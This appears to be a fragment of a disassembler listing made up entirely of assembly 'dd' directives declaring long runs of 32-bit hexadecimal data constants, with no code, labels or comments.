		dd 11C32A00h, 3EC2362Fh, 6218003Ah, 6CAD6839h, 0FA002750h
		dd 0FE304564h, 39A0AD1h, 0CB0DE9DBh, 4807420Eh,	546AE7C9h
		dd 88A26720h, 148C002Eh, 0DB71FF31h, 7F18CB61h,	0D1203CD5h
		dd 0EE170AB5h, 7020C1E1h, 0C8C871Fh, 6838C20Fh,	0E900B1B8h
		dd 0E08FAF43h, 0C4368C9Eh, 0C740BB19h, 0C6E5500Ch, 300C041h
		dd 0B9444771h, 0F4B385h, 45E88BBCh, 512202ECh, 3B4B2400h
		dd 40DB2765h, 0FE311EEDh, 9060152Eh, 0EABD5A1Fh, 6950F894h
		dd 87001993h, 539144E8h, 0E91C671Eh, 39283E59h,	0E7376D0h
		dd 14944DB0h, 8BD237A7h, 6A083B83h, 5AEE401Bh, 9EF6D049h
		dd 69C00DAh, 558F69BDh,	0D0FB949Fh, 8DE03CDEh, 8066B03Dh
		dd 483989E7h, 77C3E4h, 4CBD7A3Fh, 0BE940B3Ah, 6CFF741Fh
		dd 0FCAF280h, 544C5AEh,	0A559E5E1h, 8B600466h, 0E70C4094h
		dd 3CDB2AEEh, 0BF003882h, 304623BEh, 0F1FE2E9Eh, 8D489F74h
		dd 0B9F68014h, 3CD8B2E4h, 1180C5BDh, 0ED7BDF44h, 0C3034957h
		dd 20DD4E6Ah, 3FE3B0h, 928B8170h, 42F246ADh, 41A1841Eh
		dd 1CB1B046h, 58035C69h, 0A16C6618h, 9400A365h,	9040F1EAh
		dd 0D9B5696h, 1CB90F74h, 0C3C9589h, 0BB3DB4h, 77D78A57h
		dd 6E7A25h, 870B501Dh, 818FC4FDh, 270863Fh, 4B66A6A1h
		dd 10684A25h, 8B67B3ECh, 19DEB837h, 53E89E86h, 0F200A4EFh
		dd 0BE99CEAh, 6930D798h, 0E3B0392Eh, 0DF060092h, 7644E69Bh
		dd 0A9786BFFh, 0B4ACCC01h, 18E273Eh, 8148788Fh,	2DC8CA40h
		dd 0A4A1C726h, 44A64054h, 99C00B86h, 8B913C84h,	0A0280296h
		dd 4E690F99h, 21008643h, 1C6AE32Ah, 0D5B409h, 9B3723B1h
		dd 0BDBCBF72h, 0C401C377h, 0B6743644h, 0D8204605h, 0B82E290Bh
		dd 0E70100FCh, 82916CDAh, 590E8C30h, 4455CAh, 0BA58F8D3h
		dd 82BFCF7Dh, 9E4080F3h, 5B13FBE7h, 0C28C3E5Dh,	321AE38Ch
		dd 7C788551h, 6C686902h, 0FF1F59DFh, 0E01CED60h, 92395D3Ch
		dd 402131B0h, 4910938Dh, 34608CA1h, 1548F81h, 511B24D5h
		dd 0B21F0A64h, 0C09E46F4h, 661410E9h, 6E6009Ch,	0B0BAE3CDh
		dd 0DC9041E2h, 692F6930h, 0B7373Ah, 86C5D89Fh, 446246D5h
		dd 50487300h, 0AEE48495h, 1834980Dh, 69301CF5h,	78008C87h
		dd 0DD8F6E08h, 0E08AA397h, 6290591h, 673637C8h,	8109E8h
		dd 76A7C49h, 9E400364h,	1B4675C4h, 0B0CD113Eh, 323A1925h
		dd 3E15F2A6h, 49809F59h, 455EBEDh, 5A24B2B3h, 84442CA5h
		dd 37374C8h, 2AB8FB7Fh,	3298F38Fh, 6C29FC1Eh, 0D20FC019h
		dd 8C174091h, 20662009h, 0A802213Bh, 0FF398A36h, 0FA78A07Dh
		dd 0A62F815Ah, 1C6D44C8h, 0B200DC91h, 0E9609747h, 90140F5Fh
		dd 0EB43F588h, 39006B66h, 0E32CC47Ah, 97FCDh, 36AD87DEh
		dd 949D77FCh, 1BB88A8h,	93B02288h, 22C41F08h, 1CB2DD26h
		dd 8943158Ch, 0D7BA5013h, 9C1A0172h, 0E9FA8267h, 0DCD6C8CEh
		dd 7E09E578h, 8147A18Bh, 8CD2E884h, 0A0441D6h, 24180115h
		dd 30C3DD18h, 0E0043E82h, 1E1A2764h, 31F83CC6h,	5AA194BAh
		dd 8891EAC6h, 55026B8h,	127751A3h, 0CA6FF80Ch, 8F28C0D2h
		dd 0A21C94A8h, 5527D0F7h, 1F480500h, 0D97C3BCBh, 7D030310h
		dd 0B66E3685h, 0C2FC29C9h, 59FD90B0h, 40318C26h, 0A122D764h
		dd 364898B0h, 2F602E78h, 0D02ACC21h, 0A1582C27h, 0C6060034h
		dd 5001F5E7h, 0E8EE6729h, 5AD3B51Eh, 4E3AB800h,	4D5B72D8h
		dd 0F2800C4Dh, 4F256E41h, 58314706h, 2CE11C81h,	80540A84h
		dd 0C8D1BB83h, 8500A529h, 335147FFh, 1F2435F2h,	418B1B4h
		dd 0CCD3A259h, 0E54C0F18h, 18EE8F2Ch, 1730991h,	0CC11C681h
		dd 26011E14h, 0C48840A0h, 0E8404344h, 39F0104h,	0A075F368h
		dd 247030B2h, 98CDEA26h, 692108h, 16EE36Ah, 5E003FC4h
		dd 0A32CF204h, 4C7FEF44h, 0E8443023h, 46B1241Ch, 0BE0F8670h
		dd 74F641E7h, 0F305089Bh, 0F88CCA5Ah, 198B3B8h,	62AD452Fh
		dd 1EDA0134h, 80336901h, 39371431h, 27D18BEh, 0C155FC8Bh
		dd 83C00B34h, 0B905CE03h, 0E80CF7A1h, 344564CDh, 9E145804h
		dd 44B3949Ch, 9499846Ah, 2CF46700h, 50CC140Bh, 0DC5466h
		dd 4945B324h, 0FB4AB261h, 3A04CD13h, 91700408h,	49F3830Bh
		dd 0FB44C863h, 74EA00A1h, 0CCF0E64Ah, 2E28A4ADh, 20E57C9Ch
		dd 3340F55Ch, 195760EEh, 0E5E4E37Dh, 87964F00h,	0C4A02DE6h
		dd 0ECFC572Eh, 40E41B26h, 752274F7h, 76007598h,	0D9F5B677h
		dd 0F565FABFh, 16DD7460h, 21C859E9h, 0DD5307CCh, 5898618Bh
		dd 0B7513000h, 0B10CC050h, 29A83752h, 9A00F41Ch, 0C5C16794h
		dd 0AA4005EFh, 28B2EA77h, 4A601CF8h, 4BED8131h,	6DE077Dh
		dd 0C3C1C4F0h, 69035EEBh, 41937B4h, 0D561F8F1h,	0F53E005Dh
		dd 0DF49209Fh, 935CE24Dh, 9EF0169Ch, 331B1461h,	90648050h
		dd 6C98B1h, 5FE6B6A6h, 0A5AAFFCAh, 0BB1224B3h, 32AF5432h
		dd 52EA8C69h, 0C931B910h, 0C934BADCh, 446E948h,	30CCB85Ch
		dd 52D8901h, 0BCD05A85h, 0E15830F1h, 0AE1B20h, 0E1364531h
		dd 0C3935FB7h, 533D347Eh, 6D688556h, 58D2EF5Dh,	9002270Eh
		dd 767DCD05h, 9F5D6702h, 41FB42B0h, 5030228Ch, 5952800Bh
		dd 32B6E1C7h, 1BEC8DC8h, 0BEB0F149h, 70D05789h,	0D715E700h
		dd 20E8C9C8h, 3F482EEDh, 881A45D4h, 0FD00AD1Ch,	4A5F7118h
		dd 0E08437h, 0B3831F42h, 0C0DF3DEBh, 3C59CCAEh,	4AB0C5E0h
		dd 0A6942C05h, 0BBE9B840h, 9057BBDh, 1ADF44C6h,	83A00813h
		dd 3400C592h, 0FC284694h, 0E026AA2Ch, 8D070B2Fh, 20319EEFh
		dd 254C6466h, 0E4540098h, 0C67B1CDCh, 4C0195EEh, 73761DC5h
		dd 8FED57B3h, 582159D0h, 0E4C40CE8h, 26D4A2D0h,	903E1839h
		dd 8F11876Eh, 0A0352644h, 0AE6FD826h, 80DE0021h, 148B6D33h
		dd 0CC1E8673h, 100AD611h, 199F02E5h, 48EEA1EBh,	39F04BB0h
		dd 0DED5D700h, 860F2FFCh, 0AA79028Bh, 31C4DD6h,	0F40C306Ch
		dd 8112BD5Ah, 0F4335484h, 0AACB00B2h, 1951614Dh, 0C30053E5h
		dd 85F81EEEh, 5FE4CB1h,	5D39A090h, 0FE8CCEAh, 7EF51400h
		dd 0AC9A5F78h, 5C2902E6h, 32335E2h, 0EE52ACCCh,	534B00D0h
		dd 5875A9B3h, 0B8E30F5Ch, 90789ABh, 0B4B069F1h,	948431C9h
		dd 0CD8B8034h, 7EBC70B6h, 0C98D3500h, 0D0ABB25Fh, 7FC0B81Ah
		dd 0A470B91Fh, 0DA309B4h, 50842C28h, 0F4B1688Fh, 0E0572980h
		dd 2C7AF395h, 0E2388B2Fh, 3A2B9366h, 0BC4618h, 8CD8D230h
		dd 0E0D45AEAh, 93AD2602h, 19A58D33h, 21872EEh, 39B5F8D2h
		dd 0A01070AAh, 0B2E60468h, 809C96A4h, 40B70A94h, 0EF00D8E3h
		dd 18D23506h, 304BD9h, 0CAC9CC5h, 0B678E43Ah, 0E01D694Bh
		dd 39B84958h, 4920608Ch, 19E661CCh, 25DB4A00h, 0C67EB31Fh
		dd 0F5491EA9h, 0DEA601BEh, 251D7FCBh, 0CAC0603Ch, 211E4622h
		dd 0CE12329Fh, 782D2D0Ch, 265CBB5Bh, 56006988h,	40449E27h
		dd 0B8BE63Fh, 83A56EBh,	1C70A410h, 704C94AFh, 610F8148h
		dd 0A014BB54h, 0E3FCEE98h, 0A493D0h, 8CC5489Ah,	7504FA8Eh
		dd 686F93D2h, 0A0BBBCC7h, 59BBB1C0h, 0E4B4523Ah, 602EEE15h
		dd 1E6E4080h, 5E09C135h
		dd 98E42273h, 0D3B82Ch,	6CAF1DCAh, 0D4CE871h, 0B43BA404h
		dd 28E33F74h, 2480004Dh, 0F0577EE8h, 8D3430F9h,	2516669h
		dd 71B17224h, 7369338h,	2BAF0C10h, 3F5A9C10h, 3852A600h
		dd 84E1A89Bh, 548C5CA1h, 2820AD8Fh, 73D5DBAFh, 0DD6E0577h
		dd 0EE1851F8h, 8952713Bh, 0FBFD3100h, 757F1798h, 0A0345469h
		dd 19F900B4h, 8D579925h, 9A021CF8h, 93B60C40h, 1F3DE1ABh
		dd 2BC8BC38h, 52017924h, 22BD0CC1h, 5CEEF18Ch, 27E0F071h
		dd 5900BC71h, 4A612D0Ch, 186AB7CDh, 48D2A96Dh, 29047BDFh
		dd 73EB075Eh, 9CFD9498h, 592118B0h, 2400AC54h, 150398A6h
		dd 0BCB2BBh, 2C743E94h,	0B08B3521h, 38129E4Eh, 6FEC0889h
		dd 3E2B8h, 0E39A7604h, 74F3D3BFh, 73023E1Eh, 0B08D8927h
		dd 436AC08h, 0EFAA0605h, 4277C492h, 2F8D3058h, 8F25844Ch
		dd 0C81038C6h, 512E8864h, 5A313661h, 19A748C6h,	0C0224484h
		dd 41A1D3C5h, 20A160A4h, 0E0301423h, 1ABD72Eh, 91DFCF58h
		dd 0EA6628B8h, 88A54523h, 0F1ECDEh, 0CE4C8430h,	51F93104h
		dd 0A45C6415h, 9E760070h, 0E1FEE9E7h, 7A13000Eh, 3621D1A1h
		dd 0AC2C7B1Ch, 68EAC83Dh, 0EC267F01h, 0E6EEE070h, 8F9E0924h
		dd 60834A2Ch, 0A9005519h, 62203AF2h, 610892h, 0EFB564EBh
		dd 0C31B5930h, 0CCFBBE00h, 0E6B0BB0Ah, 0ECF1C840h, 9F64B58h
		dd 0F9701612h, 0D8CF7205h, 1C26F440h, 5B871811h, 0E307BB7h
		dd 0CC91ABh, 5CEA4D72h,	714C6F7h, 9502CDF2h, 635A0E8Bh
		dd 1CD959h, 4EED7BDDh, 7450B0F3h, 9102328Ch, 85C95C81h
		dd 4A2C7BA1h, 0AB486074h, 0B5004799h, 0EB2A1727h, 30FA88DCh
		dd 84A10E1Ch, 4256156Bh, 0E8E0268h, 4396E692h, 0C8A4F408h
		dd 0D3B6A150h, 1DE5220h, 7CF2EEA0h, 0EE171844h,	0E5D814C0h
		dd 1C383781h, 0A48507C5h, 910E20A4h, 534DD8B7h,	0DE5A0C03h
		dd 0AF21B8C7h, 41E09EDCh, 2266030Ch, 0E1FD0098h, 0F0519F3Bh
		dd 23C400BCh, 0B0A66196h, 3E3CC25Dh, 0AE391786h, 2CC87812h
		dd 1380932Dh, 6BACD01Bh, 9FE00601h, 0D07CFE0Eh,	2138A15Fh
		dd 74343407h, 1C11EBC2h, 1B1C47B1h, 6D038C68h, 90937500h
		dd 2EA5DFA2h, 4D204F8Eh, 0CC310F8Ch, 567F51C0h,	5E791600h
		dd 0A281996Eh, 8DA817A0h, 38A81ECCh, 0C000459h,	37975F7Eh
		dd 0C74D1596h, 8428896Ch, 0E4A447F0h, 0E9D244EBh, 92589C02h
		dd 4E23159Fh, 0C3E40190h, 2DBDAB5Fh, 86EFE24h, 0F0A90B79h
		dd 46598F3Dh, 1D30E49h,	0B6B0BAC6h, 2422FC24h, 44D466A7h
		dd 0D244C171h, 157BFC4Ch, 0E828FB8Ch, 21039C8h,	1CE96931h
		dd 7A702DE8h, 803B74B9h, 0BD319C45h, 3055EB09h,	3F50BC5Ch
		dd 975DB41Ch, 0EC84501Ch, 5777590Ah, 0B2E090C3h, 0E66F4EE9h
		dd 0E49E0173h, 0D0059295h, 5110942Dh, 496480E8h, 0F5EA1BFh
		dd 0C3389CA8h, 0C652B001h, 0ADE4EC74h, 26F6E0A6h, 2B8B2C1Ch
		dd 0F394A200h, 50E83B3h, 1A88ED3Dh, 88F0A79Eh, 68034132h
		dd 3CE7C406h, 700B787Fh, 46FF74BDh, 54C909CCh, 4600D410h
		dd 59C2B3AAh, 4E66E839h, 6948C802h, 0CA98A32Dh,	1E37D8C1h
		dd 0D3E20770h, 5E8AEE5Dh, 0BC804D01h, 0CE20221Dh, 9E0691DEh
		dd 0F049DCF2h, 719CE503h, 2D7DA93h, 7CB6CAA9h, 0C441CACh
		dd 0C3064AF0h, 0C7273470h, 8090B1B8h, 756EEB1h,	0A317CD53h
		dd 1C61B2AFh, 0C0326330h, 0DA6C205Ah, 2C3DED0Fh, 2B2F9F7Fh
		dd 436BB4C0h, 0BACD26ACh, 72374534h, 55650064h,	232E9912h
		dd 70FF00A7h, 18421B36h, 25FAC49Fh, 0C16E1C0Bh,	0D5D06811h
		dd 74A98ADh, 0C706D3E6h, 11F9D1D0h, 52D98349h, 0B7B10F24h
		dd 3B7B5150h, 4ADE023Eh, 0E466ECA1h, 906788D9h,	0CFDF810Bh
		dd 4C213E7Fh, 48DF643Ch, 0EA0A69D2h, 9FC484D7h,	6C0630A3h
		dd 89A55AACh, 4827EAF8h, 0DD28201Bh, 5A91973Bh,	0EE5C2119h
		dd 8347C866h, 0F54A0600h, 289EC7DDh, 0E00F1681h, 871412D7h
		dd 1BB95C2Ch, 0A2F4E0A4h, 1241313Fh, 24A41983h,	0E5CF136Ch
		dd 5C110078h, 60D43829h, 4A819A1Ch, 0EBCBA65Dh,	4640B2A2h
		dd 0F6740080h, 3B22CCB3h, 0ECF6E3F0h, 39E4BC1Fh, 0FC886993h
		dd 25BA5A30h, 0B1906288h, 3E00A479h, 50966FF9h,	0E6530108h
		dd 5AB170F7h, 80B87C8Ch, 338174ADh, 51790590h, 0C16AC646h
		dd 680DC4h, 0DDB857h, 0B2D3CA4Bh, 0CEC8F97h, 5C66E50Ah
		dd 49918839h, 0F4EDF600h, 4051C49Ah, 9B12A90Bh,	0A58187Ah
		dd 5F6E0238h, 583CD28Ch, 34159471h, 0D0C292F8h,	3BB4E553h
		dd 0B9D21898h, 0C89CBB20h, 686694h, 5DC9B3ABh, 258D616Dh
		dd 1C84E49Ch, 8595402Fh, 1D1AD4BFh, 805DBACEh, 0B7A459A3h
		dd 0A898156Ah, 1101B920h, 0C11B1h, 0C4C0A766h, 0B096D7h
		dd 0CA1A1363h, 0A0D058A9h, 5B3F5A0Eh, 687E8ADEh, 89C3390Fh
		dd 430C44C6h, 26CA2163h, 0A2A5C400h, 5E5800D0h,	84F8AA7Dh
		dd 3E15E631h, 9C80CFB7h, 4B370B7Ah, 227A91BBh, 50FDA32Ch
		dd 0B9C898E9h, 7D0500E9h, 571E1143h, 3D0560DAh,	8D89830Dh
		dd 5B352898h, 0D85448D1h, 1DC75985h, 0B82EB842h, 1B1C232Ch
		dd 0F3EA6100h, 32F5D8EBh, 465B001Fh, 19ECBD11h,	0D0392207h
		dd 0B38097A9h, 3DE0E460h, 7810959Fh, 7B00B5F3h,	0B0DF9C03h
		dd 4C2E8D38h, 0AE00609Eh, 83ADA80Eh, 0B24BD539h, 54862432h
		dd 73AE8EC4h, 23614F23h, 12FFD7B8h, 1549E913h, 1ADF1460h
		dd 4AD8883Bh, 693C4F7Fh, 0CB1B9231h, 21A01037h,	1930475h
		dd 15673DB6h, 0E4F4EB99h, 0F4BCBC01h, 13815804h, 0C400A8F7h
		dd 6CF870DAh, 7400CC60h, 1347E51Ch, 12E0378Ch, 80CAAA2h
		dd 1443A130h, 0D3FE3943h, 7382EAB8h, 78DD7FCBh,	3308C871h
		dd 60B894E5h, 8C01F053h, 5E9BE2B2h, 0F147D85h, 201B2A9Dh
		dd 7C78B692h, 0A7A300C3h, 217F077Dh, 1D13C1B7h,	848CD38Ah
		dd 64855004h, 0CD3A00E1h, 99FBD74Ah, 0D200C3DCh, 3B4FB5AEh
		dd 74CAC8F1h, 6BAB0991h, 58106602h, 0FA00E979h,	9DE7A2EDh
		dd 0FAF29A96h, 0A1344C4Bh, 0ACF3433Fh, 68375DE0h, 0C9C30F85h
		dd 801C3C24h, 2EB9F116h, 2AC005Fh, 26EAFB09h, 6A0419CFh
		dd 9D164DDEh, 39FF090h,	0E4EC53BAh, 34711100h, 0D58FAD17h
		dd 74601F4Ah, 0BEBA2EA1h, 3C4983D0h, 5C1C816Ch,	36C06279h
		dd 0BDBCB307h, 13FE4F58h, 0E348D0D0h, 8E00C174h, 0F3A3AC40h
		dd 3D937EA8h, 68D9D098h, 9418F789h, 3300E330h, 1975C8FEh
		dd 358F4Bh, 1C873FD8h, 253963Ch, 0E6E44201h, 22D2A852h
		dd 4444092Ah, 0CDB04C48h, 0B6DC1C88h, 0C88C4444h, 58FAA6D4h
		dd 4F367300h, 4BA96B50h, 0A4405D4Ah, 0F4278B7h,	1000F1C2h
		dd 74C296DEh, 0C19051ECh, 5048BDBBh, 137BDF90h,	94413800h
		dd 50E681CCh, 0DC31953Fh, 580C76h, 29259620h, 42D0D16Ah
		dd 9BAC9F00h, 999DB7C7h, 353E0064h, 659C2F52h, 60032178h
		dd 40851DFAh, 76BDC0E2h, 75693EA7h, 0AE201A37h,	80B6BF87h
		dd 0E1816E7Eh, 820162FEh, 65B48D24h, 7AE402BCh,	4031C1A2h
		dd 8315FB53h, 59224F41h, 0CBCBE318h, 707C70h, 33DA2954h
		dd 0A982036Ch, 0DC7B2800h, 0A8D5831Eh, 0E10E00FAh, 0C41BD884h
		dd 643EF5DDh, 69CC05FDh, 3440A9A3h, 730A04C1h, 418F3C81h
		dd 79F2FA19h, 0B803E5DAh, 63C828h, 48AF97D8h, 760D7BE6h
		dd 0E10901C6h, 6077B229h, 0A399A885h, 981C27FCh, 0B8D6BCEFh
		dd 7C739900h, 63A4B621h, 8461887Bh, 19223100h, 0DB76CED1h
		dd 3E12001Dh, 371E3A8Fh
		dd 65526F1h, 39888B0h, 11280D61h, 0EFD5F0C1h, 0AC350928h
		dd 4129F5F9h, 44F4F318h, 0B5780064h, 4A954964h,	0B279CE03h
		dd 287B9E8Eh, 44A08389h, 69606102h, 8DF22819h, 6181CF9h
		dd 8F1F007Bh, 5445B89Dh, 0AEFD2B00h, 8C264484h,	53660AF9h
		dd 3D3C3E05h, 0A307C244h, 10BC36DBh, 1D5C8EC0h,	65820087h
		dd 2F1E301h, 4D00F45Eh,	0BFA7E986h, 0C672808Fh,	51EF9381h
		dd 0C062A900h, 7C5F95EEh, 1C2249F4h, 80A7A610h,	47E83472h
		dd 11B7BFDh, 24296DDh, 136F61A9h, 4E0A9030h, 8E7EF1h, 0E059A07Fh
		dd 5A2A8778h, 0C1A8032Ch, 0A45315h, 6B128D14h, 96B46Ah
		dd 31EA2881h, 0A3A2E564h, 22CEE31Dh, 60C6BF00h,	0FA96C9h
		dd 316D6EF3h, 4B77F992h, 4446EC14h, 912F05D0h, 6C086682h
		dd 0CF3080FBh, 0B1E28D43h, 0B8268C05h, 0CC20978Eh, 0F3325A7Fh
		dd 608992CCh, 412B9902h, 0B10AC59Ah, 885E50E4h,	397A3C1h
		dd 80278301h, 52C2CC31h, 0EE588FC8h, 0B8D90076h, 538A3497h
		dd 8209957Bh, 180E2A75h, 0C0FC93C8h, 0E770BDA1h, 4405194Bh
		dd 628B8848h, 7B8E9447h, 93CA3240h, 528F016h, 842A808Dh
		dd 1F704F02h, 0E7980E80h, 0E53A22C9h, 478C9FD5h, 462E68B2h
		dd 0C6260414h, 0C0913601h, 59D86250h, 55F94D00h, 4E90E799h
		dd 84DEA0FFh, 2901E05Fh, 0AB948B91h, 0EE5306B0h, 1E538122h
		dd 33E226Ch, 0BEDA557Ch, 2AE0A6D9h, 9C3CCAC5h, 0E8F40789h
		dd 48814194h, 8E4083AEh, 0C440BBC1h, 88DD26F8h,	0D500FACCh
		dd 139B6B6Ch, 79DB64h, 813B5E5Dh, 667329EFh, 0DC1E6E03h
		dd 5048B445h, 4527E080h, 2DF8D3FAh, 9331E458h, 0CD5099F1h
		dd 0A7AAE0h, 67741924h,	21209518h, 689BFC7Eh, 5A83E780h
		dd 14B77A3Fh, 88998EB1h, 0ECE48088h, 4F0208CBh,	11FB434Bh
		dd 0D56E7FE0h, 18E4F648h, 0E0A10B83h, 36120938h, 0C0800351h
		dd 196EF031h, 23703248h, 78300074h, 0B08BF1E1h,	789980F8h
		dd 0D3B2ABE0h, 82E100AAh, 0EC98F835h, 0B7122263h, 0D822DC7Ch
		dd 0B29D8936h, 23BC0220h, 75202C19h, 80740684h,	367AC9EFh
		dd 14222828h, 0D6FA3106h, 90D8F3D4h, 4CEF108Ch,	3B2A0261h
		dd 4C83817Fh, 0DA311148h, 4EA900A2h, 77B07EA7h,	6CD00554h
		dd 0C0976FE1h, 4176194Ah, 0CD05F901h, 0DE0EE75Ah, 8335D9EBh
		dd 9329C826h, 30FE00BCh, 7A38FDC3h, 0B52A731Dh,	0A840140h
		dd 14D925A6h, 9460E81Fh, 516F8780h, 3D030844h, 1D555436h
		dd 30B6FA6Ch, 0E00369FAh, 78A37F79h, 6081BA5Eh,	8080BAE4h
		dd 0D099AF36h, 903D1D82h, 598520FAh, 0BA3BB79Ah, 4DEB8E8Ah
		dd 0A8020477h, 1168C0C2h, 0EC4110F5h, 0EE1200C1h, 0AE44894Bh
		dd 790CAAD4h, 601914DFh, 40814891h, 3DC060D2h, 7950B276h
		dd 8188C1D4h, 1450407h,	8C4C3B4Bh, 0EC936424h, 81017028h
		dd 90255BDBh, 18106ED6h, 7F2C5889h, 0D30A299Dh,	3E115863h
		dd 15E4990Eh, 0A33D2320h, 34C9AD8h, 5D5F001Ah, 13A4D654h
		dd 16AD2467h, 19326154h, 724832CEh, 68ED590Fh, 0F8E1C03Dh
		dd 3E5030Bh, 6F6453EAh,	0CB801DC7h, 0C4B3407Fh,	418EDA0Ch
		dd 0BD9A002Eh, 31BED490h, 0C015A87h, 409C4E3h, 3440D0A8h
		dd 329109Fh, 0CD1DE679h, 1E90B90Ah, 0B30207FEh,	0D91B166Ch
		dd 0A2EC840Dh, 6C163D49h, 0BC5B0D2Ch, 522539E0h, 0C5700C6h
		dd 3E17B6Fh, 8003FF8h, 0CA7A6CDFh, 4CB088CBh, 0D78228DCh
		dd 0A0A0F993h, 361666Bh, 8CCB4803h, 0E0C81D10h,	910FF105h
		dd 0ACEC20B0h, 1C9A4800h, 0E0AD6FB1h, 5413C51Ch, 3B095B02h
		dd 9038B2B1h, 895428F0h, 0F47261h, 9FD657F1h, 2488211h
		dd 0DC7A727Ch, 6103814Ah, 9529076Ah, 7004E6DBh,	0A9D2E594h
		dd 0B084C200h, 0A367EF8Dh, 0A1BE2E2Ah, 4FE960D4h, 29021BBFh
		dd 35EE1EE0h, 0CCE8C297h, 0FA1D0768h, 60C79294h, 0F39FF10h
		dd 11F18F0Ah, 6911545Dh, 884C800h, 14E37DA0h, 5C6EDD0Fh
		dd 0EF6B41A8h, 94261BB1h, 0AC9A4002h, 98E14D24h, 82DF1716h
		dd 936F0432h, 9131C18Ch, 9B48A462h, 90050800h, 1665422Dh
		dd 89C499EAh, 3CC0201Ah, 4CF11969h, 18C994DBh, 53A61C04h
		dd 42F10408h, 70000390h, 0AA4FB6h, 0E7242AEEh, 81B5535Ch
		dd 0E365CA0Bh, 0D73819C3h, 0D2C7C000h, 2A82CF18h, 624469h
		dd 868E3EAFh, 11378384h, 97D35A02h, 597441EAh, 0AADA8900h
		dd 0E2755020h, 72001349h, 469ED1D0h, 48A2352h, 0FFF37B0Fh
		dd 1170A62Bh, 7C490DDBh, 79F8E202h, 58C488B2h, 0B3553E0Eh
		dd 0DB7C4585h, 9BCC7001h, 2ECC16EDh, 45670307h,	0EF66D139h
		dd 2841DDE2h, 0F053104Eh, 0D4638236h, 61225BE2h, 38B4A06Bh
		dd 8E5EA3h, 4E416F37h, 34778B58h, 45E7BA01h, 0E928E4B9h
		dd 2D072863h, 0C0FC031Eh, 716127D2h, 0A60549C0h, 123ACEC6h
		dd 61FD451Fh, 51D47410h, 68602A7Ch, 78612C74h, 579DDC2h
		dd 71382729h, 0E86F032Bh, 3149195Eh, 2E8386D0h,	0EF160ED1h
		dd 0FFE0445Ah, 3435BE8h, 0F24F0E00h, 0D13EC074h, 25A125E3h
		dd 68000816h, 0C94AF1CDh, 246F6344h, 102CAEF6h,	0A9A48C25h
		dd 7B5EAEEh, 0A3D33456h, 0A1425EAAh, 0C446CB16h, 8BCE6E04h
		dd 74C01C3Bh, 0E0BEAE37h, 2034B859h, 734631B5h,	2883680Ch
		dd 0AE00E2C9h, 3AFF5D81h, 2EA3B7C8h, 5A3B9Ah, 0DDFB19A4h
		dd 8E041810h, 27F183B4h, 0EE53A0A4h, 81B1CB17h,	5066EC89h
		dd 0F4B2202h, 6CF8D875h, 7F400954h, 146020A9h, 0E991D0h
		dd 435F04h, 0E16B38CEh,	0D6776569h, 9809352Eh, 6021A19Dh
		dd 33E17366h, 4237AA00h, 7B8E8280h, 4420B976h, 0C97340EDh
		dd 3548AEBh, 0E8EECF41h, 0ECF0928Bh, 7D3A5FFCh,	581D294Fh
		dd 478C824h, 0D84F00E4h, 7AC8E7BFh, 79EC255Ah, 0AD1DD0B1h
		dd 0FF882AA2h, 90520F98h, 8627A80Fh, 6C8BF0F2h,	0F84DBFDEh
		dd 0FA4F8798h, 5A82DBF2h, 72DD3BA0h, 8A1B3880h,	0B5BDB4A4h
		dd 0F3F52403h, 0F009832Fh, 30BF2927h, 0C5A96C60h, 0B325FE8Eh
		dd 31201807h, 0C4E89681h, 0A08D4E73h, 161D5D9Ah, 0C42513C1h
		dd 0CE844F7Dh, 65001AC8h, 0D26B2368h, 0E78207D4h, 0B00C3FCAh
		dd 0CDA1BFB0h, 17665D07h, 0B9BC23F1h, 40EE4F53h, 8D288240h
		dd 844B2BACh, 87E42030h, 8040057h, 55DC0D4Ch, 0CF00F89Eh
		dd 141CA45Ah, 4AD72F06h, 1DD83019h, 88487618h, 835B83C4h
		dd 0C0DEB039h, 0D1A1009Eh, 0A772116Eh, 0B7FAB004h, 0D9DA972Eh
		dd 4151D700h, 3B2B1B87h, 4701E25Ah, 0F118CF95h,	51C86329h
		dd 77F8D95Ch, 719A11CCh, 34A66913h, 81349824h, 1B5EE100h
		dd 1A4CEAA3h, 0F9DE264Bh, 12A91B0h, 2E95E065h, 1DC49E3Ch
		dd 0F7380201h, 840B9FF8h, 2AC49482h, 0A57A6901h, 80916985h
		dd 6F40086Eh, 94D8E644h, 1DD8A4DBh, 0C04A08AEh,	0B75C3652h
		dd 5000D5F1h, 7955AABFh, 71C34529h, 9C700410h, 8C60F4ABh
		dd 14938398h, 873A6691h, 0F7291809h, 3A744482h,	0CB1F0640h
		dd 21E7D25h, 99988E50h,	0B837A394h, 2AC1E521h, 872821Fh
		dd 4CF16707h, 0CB62F39Fh, 932842E0h, 22D04D00h,	44812653h
		dd 0E1E60356h, 51BDE92h, 94C8A4FCh, 0C5A0A21Ch,	0AA0B5C44h
		dd 61274CA3h, 5E1388A1h, 0B82ADCF8h, 0F0FC1C04h, 40A67CA9h
		dd 900BA222h, 81F91C2Fh, 0B4D2087Ch, 62D0B470h,	9E8021A4h
		dd 7A585860h, 0B6CDA905h, 8881D107h, 78815B81h,	41AE05FAh
		dd 0D8E04861h, 0A3378700h, 5AB8E517h, 0F305090Ch, 0A46E1BC8h
		dd 0D0B9750Bh
		dd 549A82CCh, 3064E4FAh, 6F81A3D9h, 22023FC3h, 0FCB9C6D8h
		dd 0CBB4E053h, 9AD21459h, 83D54DBh, 3279C400h, 97F2F634h
		dd 814F6A00h, 0F3FBEC41h, 90E92436h, 98040CCh, 9B00A050h
		dd 651723A5h, 0B53F28h,	2C252194h, 0BFE904C5h, 5C40802Ch
		dd 134FC43Dh, 703A4B9Fh, 99A269C0h, 9118F49Ah, 93315DD6h
		dd 4A39C028h, 0AFE610B2h, 7F22EB01h, 0DC0FCFAAh, 0CC5D5CE9h
		dd 0C33C4862h, 0E3BE2580h, 16941D95h, 31DB1E02h, 0C9B129D7h
		dd 20106690h, 0E83A301Ch, 552C009Dh, 0C7A8C6FDh, 0AA160471h
		dd 93B1EF81h, 248A284Ch, 933090E4h, 0A090A1F3h,	6ADF0023h
		dd 8447CCBDh, 1024AC0h,	0EA300B9Bh, 78106136h, 2A30E614h
		dd 830B74CBh, 49988C2h,	188119F1h, 50F86645h, 0F1541B04h
		dd 88FD29ECh, 9C00258Ch, 97728B38h, 1B2ED53h, 2698D2DBh
		dd 0CCD81141h, 2949CB05h, 848893E0h, 30560052h,	0F7E4CC26h
		dd 61025AC6h, 66F825Dh,	0A7945142h, 6AFB7490h, 2007891Eh
		dd 0C8A33000h, 0F778896h, 355AEA10h, 0CB217E80h, 0ACB1E62Ah
